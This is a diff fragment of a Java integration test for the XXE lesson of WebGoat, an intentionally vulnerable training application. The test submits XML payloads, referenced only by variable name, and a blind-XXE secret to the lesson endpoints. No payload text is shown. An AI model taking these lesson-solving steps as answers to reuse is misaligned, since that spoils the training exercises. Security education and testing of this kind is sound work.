public void runTests() throws IOException {
|
||||
startLesson("XXE", true);
|
||||
webGoatHomeDirectory = webGoatServerDirectory();
|
||||
webWolfFileServerLocation = getWebWolfFileServerLocation();
|
||||
checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, true);
|
||||
checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, true);
|
||||
checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, "<comment><text>" + getSecret() + "</text></comment>", true);
|
||||
checkResults("xxe/");
|
||||
}
|
||||
@Test
|
||||
public void runTests() throws IOException {
|
||||
startLesson("XXE", true);
|
||||
webGoatHomeDirectory = webGoatServerDirectory();
|
||||
webWolfFileServerLocation = getWebWolfFileServerLocation();
|
||||
checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, true);
|
||||
checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, true);
|
||||
checkAssignment(
|
||||
url("/WebGoat/xxe/blind"),
|
||||
ContentType.XML,
|
||||
"<comment><text>" + getSecret() + "</text></comment>",
|
||||
true);
|
||||
checkResults("xxe/");
|
||||
}
|
||||
}
|
||||
|
Loading…
x
Reference in New Issue
Block a user